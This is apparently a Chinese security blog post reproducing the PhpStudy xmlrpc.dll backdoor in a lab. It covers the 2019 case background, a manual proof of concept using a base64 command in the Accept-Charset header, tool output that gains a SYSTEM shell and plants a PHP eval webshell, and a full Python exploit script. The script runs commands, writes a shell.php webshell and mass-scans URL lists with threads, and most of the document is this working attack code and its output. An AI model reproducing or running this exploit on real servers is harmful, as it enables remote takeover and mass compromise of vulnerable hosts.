PhpStudy 后门漏洞复现
最近打靶遇到了这个漏洞,之前不怎么关注,既然看见了就做个记录。
1 漏洞描述
1.1 事件起因
PhpStudy 软件是国内的一款免费的 PHP 调试环境的程序集成包,通过集成 Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer 多款软件一次性安装,无需配置即可直接安装使用,在国内有着近百万 PHP 语言学习者、开发者用户。
正是这样一款公益性软件在 2018 年 12 月 4 日,西湖区公安分局网警大队接报案称,某公司发现公司内有 20 余台计算机被执行危险命令,疑似远程控制抓取账号密码等计算机数据回传大量敏感信息。
通过专业技术溯源进行分析,查明了数据回传的信息种类、原理方法、存储位置,并聘请了第三方鉴定机构对软件中的“后门”进行司法鉴定,鉴定结果是该“后门”文件具有控制计算机的功能,嫌疑人已通过该后门远程控制下载运行脚本实现收集用户个人信息。
截至 2019 年 1 月被抓获,犯罪团伙共非法控制计算机 67 万余台,非法获取账号密码类、聊天数据类、设备码类等数据 10 万余组,非法牟利 600 余万元。
在 2019 年 9 月 20 日,网上爆出 phpstudy 存在“后门”。
1.2 影响版本
phpStudy_2016.11.03
php-5.2.17
php-5.4.45
phpStudy_2018.02.11
php-5.2.17
php-5.4.45
2 漏洞复现
2.1 环境说明
复现环境:
Win 7
phpStudy_2018.02.11(php-5.4.45 + Apache)

2.2 检查文件
漏洞原因是因为在
php_xmlrpc.dll文件包含了恶意代码,检查下是否引用了该文件。
2.2.1 探针查看
通过 PhpStudy 自带的 l.php 文件查看:

发现引用了 XMLRPC 扩展。
2.2.2 查看具体文件
查看
php_xmlrpc.dll具体文件内容:

发现确实存在有恶意代码。
2.3 手工漏洞利用
使用 BurpSuite 抓包进行 POC 构造:

构造说明如下:
Accept-Encoding要把 gzip, deflate 里逗号后面的空格去掉,不然命令执行不成功;Accept-Charset的值就是执行的命令, 需要进行 base 64 编码。

手工利用比较麻烦,还是工具吧。
2.4 工具漏洞利用
工具地址:https://github.com/lovehack01/phpStudyBackDoor
注:需要安装 request 库
## python3 phpStudyBackDoor.py -u http://192.168.1.138
********************************
* phpStudy BackDoor RCE *
* Coded by Writeup *
********************************
Target is vulnerable!!!
## python3 phpStudyBackDoor.py -u http://192.168.1.138 --cmdshell
********************************
* phpStudy BackDoor RCE *
* Coded by Writeup *
********************************
Target is vulnerable!!! Entering cmdshell...
cmd>>> whoami
nt authority\system
## python3 phpStudyBackDoor.py -u http://192.168.1.138 --getshell
********************************
* phpStudy BackDoor RCE *
* Coded by Writeup *
********************************
Using current web path:WWW
http://192.168.1.138/phpStudyBackDoor.php
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /phpStudyBackDoor.php was not found on this server.</p>
</body></html>
Getshell failed.
Maybe the file directory does not have permissions.
You can try to change the file directory.
## 此处说明找不到 phpStudyBackDoor.php 文件,进入 cmd 界面
## python3 phpStudyBackDoor.py -u http://192.168.1.138 --cmdshell
********************************
* phpStudy BackDoor RCE *
* Coded by Writeup *
********************************
Target is vulnerable!!! Entering cmdshell...
cmd>>> where phpStudyBackDoor.php
C:\phpStudy\phpStudyBackDoor.php
cmd>>> chdir
C:\phpStudy
cmd>>> type phpStudyBackDoor.php
<?php @eval($_GET[cmd]); ?>
cmd>>> copy phpStudyBackDoor.php C:\phpStudy\PHPTutorial\WWW
已复制 1 个文件。
cmd>>> dir C:\phpStudy\PHPTutorial\WWW
驱动器 C 中的卷没有标签。
卷的序列号是 684B-9F14
C:\phpStudy\PHPTutorial\WWW 的目录
2023/02/20 12:00 <DIR> .
2023/02/20 12:00 <DIR> ..
2017/04/20 16:49 21,175 l.php
2013/05/09 20:56 23 phpinfo.php
2023/02/19 22:19 <DIR> phpMyAdmin
2023/02/19 23:30 918 phpStudyBackDoor.php
3 个文件 22,116 字节
3 个目录 28,107,673,600 可用字节
但这时连接 WebShell 会显示连接失败,因为 WebShell 代码为:
<?php @eval($_GET[cmd]); ?>
所有已知的一句话木马连接工具都不支持
$_GET[]形式进行传输,需要改成$_POST[]:
http://192.168.1.138/phpStudyBackDoor.php?cmd=eval($_POST[v]);

上马成功!
3 EXP 脚本
由于工具在上传文件容易出现 404 错误,简单修改了下 EXP 脚本(Windows 适用):
## coding:utf-8
## Author:yongz
## Description:phpstudy 2016/2018 xmlrpc.dll backdoor rce
## Date:2023-2-19
import requests
import queue
import base64
import optparse
import threading
import datetime
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
'Accept-Encoding': 'gzip,deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
}
lock = threading.Lock()
q0 = queue.Queue()
threadList = []
global succ
succ = 0
def checkPhpstudyBackdoor(tgtUrl,timeout):
headers['Accept-Charset'] = 'ZXhpdCgnV3JpN2VUaDNXMHJsZCcpOw=='
# ZXhpdCgnV3JpN2VUaDNXMHJsZCcpOw== -> exit('Wri7eTh3W0rld'); 无意义字符串判断是否执行成功。
rsp = requests.get(tgtUrl,headers=headers,verify=False,timeout=timeout)
# verify=False 移除 SSL 认证
rsp.encoding='utf-8'
if "Wri7eTh3W0rld" in rsp.text:
return True
else:
return False
def checkPhpstudyBackdoorBatch(timeout, doorSuccess):
headers['Accept-Charset'] = 'ZXhpdCgnV3JpN2VUaDNXMHJsZCcpOw=='
global countLines
while (not q0.empty()):
tgtUrl = q0.get()
qcount = q0.qsize()
print ('Checking: ' + tgtUrl + ' ---[' + str(countLines - qcount) + '/' + str(countLines) + ']')
try:
rst = requests.get(tgtUrl, headers=headers, timeout=timeout, verify=False)
except requests.exceptions.Timeout:
continue
except requests.exceptions.ConnectionError:
continue
except:
continue
if rst.status_code == 200 and ("Wri7eTh3W0rld" in rst.text):
print ('Target is vulnerable!!!---' + tgtUrl + '\n')
lock.acquire()
doorSuccess.write('Target is vulnerable!!!---' + tgtUrl + '\n')
lock.release()
global succ
succ = succ + 1
else:
continue
def getCmdShellPhpstudyBackdoor(tgtUrl,timeout):
while True:
command = input("cmd>>> ")
if command == 'exit':
break
command = "system(\"" + command + "\");"
command.encode('utf-8')
command = base64.b64encode(command.encode('utf-8'))
headers['Accept-Charset'] = command
cmdResult = requests.get(tgtUrl, headers=headers, verify=False,timeout=7)
cmdResult.encoding='gbk'
#因为 phpStudy 只有 Windows 版存在漏洞,Windows 系统使用的是 GBK 编码。
if cmdResult.text.split('<!')[0] == '':
print('Command Error!')
else:
print (cmdResult.text.split('<!')[0])
def phpstudyBackdoorGetshell(tgtUrl,timeout):
# 将一句话木马写入进 phpinfo.php 文件
b64exp = "system(' ECHO ^<?php @eval($_REQUEST[cmd]); ?^> >> ./shell.php');"
b64exp = base64.b64encode(b64exp.encode('utf-8'))
headers['Accept-Charset'] = b64exp
rsp = requests.get(tgtUrl,headers=headers,verify=False,timeout=timeout)
# 写入成功执行如下命令
if rsp.status_code == 200:
# 发送请求访问 shell.php 文件
backDoorUrl = tgtUrl + '/shell.php'
rsp1 = requests.get(backDoorUrl,verify=False,timeout=timeout)
b64poc = "system('dir');"
b64poc = base64.b64encode(b64poc.encode('utf-8'))
headers['Accept-Charset'] = b64poc
rsp2 = requests.get(tgtUrl,headers=headers,verify=False,timeout=timeout)
rsp2.encoding='gbk'
# 如果存在 shell.php 文件则说明木马写入成功,之所以这么判断是因为文件上传路径无法确定,原先脚本就是访问不到文件显示 404,这里进行了一些改进
if "shell.php" in rsp2.text:
print ('shell.php 创建成功!\n\n请使用 --cmd 查看文件路径并将后门文件迁移至 WWW 目录下\n')
print ('命令如下:\nchdir # 查看目录路径\ncopy shell.php xxxx/WWW # 迁移文件')
else:
print ('shell.php 创建失败!')
else:
print ('Request Error!')
if __name__ == '__main__':
print ('''
_ ____ _ _ ____ _ ____ ____ ____ _____
_ __ | |__ _ __/ ___|| |_ _ _ __| |_ _ | __ ) __ _ ___| | _| _ \ ___ ___ _ __ | _ \ / ___| ____|
| '_ \| '_ \| '_ \___ \| __| | | |/ _` | | | | | _ \ / _` |/ __| |/ / | | |/ _ \ / _ \| '__| | |_) | | | _|
| |_) | | | | |_) |__) | |_| |_| | (_| | |_| | | |_) | (_| | (__| <| |_| | (_) | (_) | | | _ <| |___| |___
| .__/|_| |_| .__/____/ \__|\__,_|\__,_|\__, | |____/ \__,_|\___|_|\_\____/ \___/ \___/|_| |_| \_\\____|_____|
|_| |_| |___/ by yongz
''')
#创建一个OPtionParser 对象
parser = optparse.OptionParser('python %prog ' + '-h (manual)', version='%prog v1.0')
#添加命令行参数
parser.add_option('-u', dest='tgtUrl', type='string', help='single url')
parser.add_option('-f', dest='tgtUrlsPath', type='string', help='urls filepath[exploit default]')
parser.add_option('-s', dest='timeout', type='int', default=7, help='timeout(seconds)')
parser.add_option('-t', dest='threads', type='int', default=5, help='the number of threads')
parser.add_option('--get', dest='getshell',action='store_true', help='get webshell')
parser.add_option('--cmd', dest='cmdshell',action='store_true', help='cmd shell mode')
#解析传入的命令行参数
(options, args) = parser.parse_args()
# check = options.check
timeout = options.timeout
tgtUrl = options.tgtUrl
getshell = options.getshell
cmdshell = options.cmdshell
# python phpStudyBackDoor.py -u "http://192.168.80.128"
if tgtUrl and (cmdshell is None) and (getshell is None):
if(checkPhpstudyBackdoor(tgtUrl,timeout)):
print ('Target is vulnerable!!!' + '\n')
else:
print ('Target is not vulnerable.' + '\n')
# python phpStudyBackDoor.py -u "http://192.168.80.128" --cmd
if tgtUrl and cmdshell and (getshell is None):
if (checkPhpstudyBackdoor(tgtUrl,timeout)):
print ('Target is vulnerable!!! Entering cmdshell...' + '\n')
getCmdShellPhpstudyBackdoor(tgtUrl,timeout)
else:
print ('Target is not vulnerable.' + '\n')
pass
# python phpStudyBackDoor.py -u "http://192.168.80.128" --get
if tgtUrl and (cmdshell is None) and getshell:
phpstudyBackdoorGetshell(tgtUrl,timeout)
# python phpStudyBackDoor.py -u "http://192.168.80.128" -f url.txt
if options.tgtUrlsPath:
tgtFilePath = options.tgtUrlsPath
threads = options.threads
# 获取当前时间
nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
doorSuccess = open(str(nowtime) + '_' + 'success.txt', 'w')
urlsFile = open(tgtFilePath)
global countLines
countLines = len(open(tgtFilePath, 'r').readlines())
print ('===Total ' + str(countLines) + ' urls===')
for urls in urlsFile:
fullUrls = urls.strip()
q0.put(fullUrls)
for thread in range(threads):
t = threading.Thread(target=checkPhpstudyBackdoorBatch, args=(timeout, doorSuccess))
t.start()
threadList.append(t)
for th in threadList:
th.join()
print ('===Finished! [success/total]: ' + '[' + str(succ) + '/' + str(countLines) + ']===')
print ('Results were saved in current path: ' + str(nowtime) + '_success.txt')
doorSuccess.close()
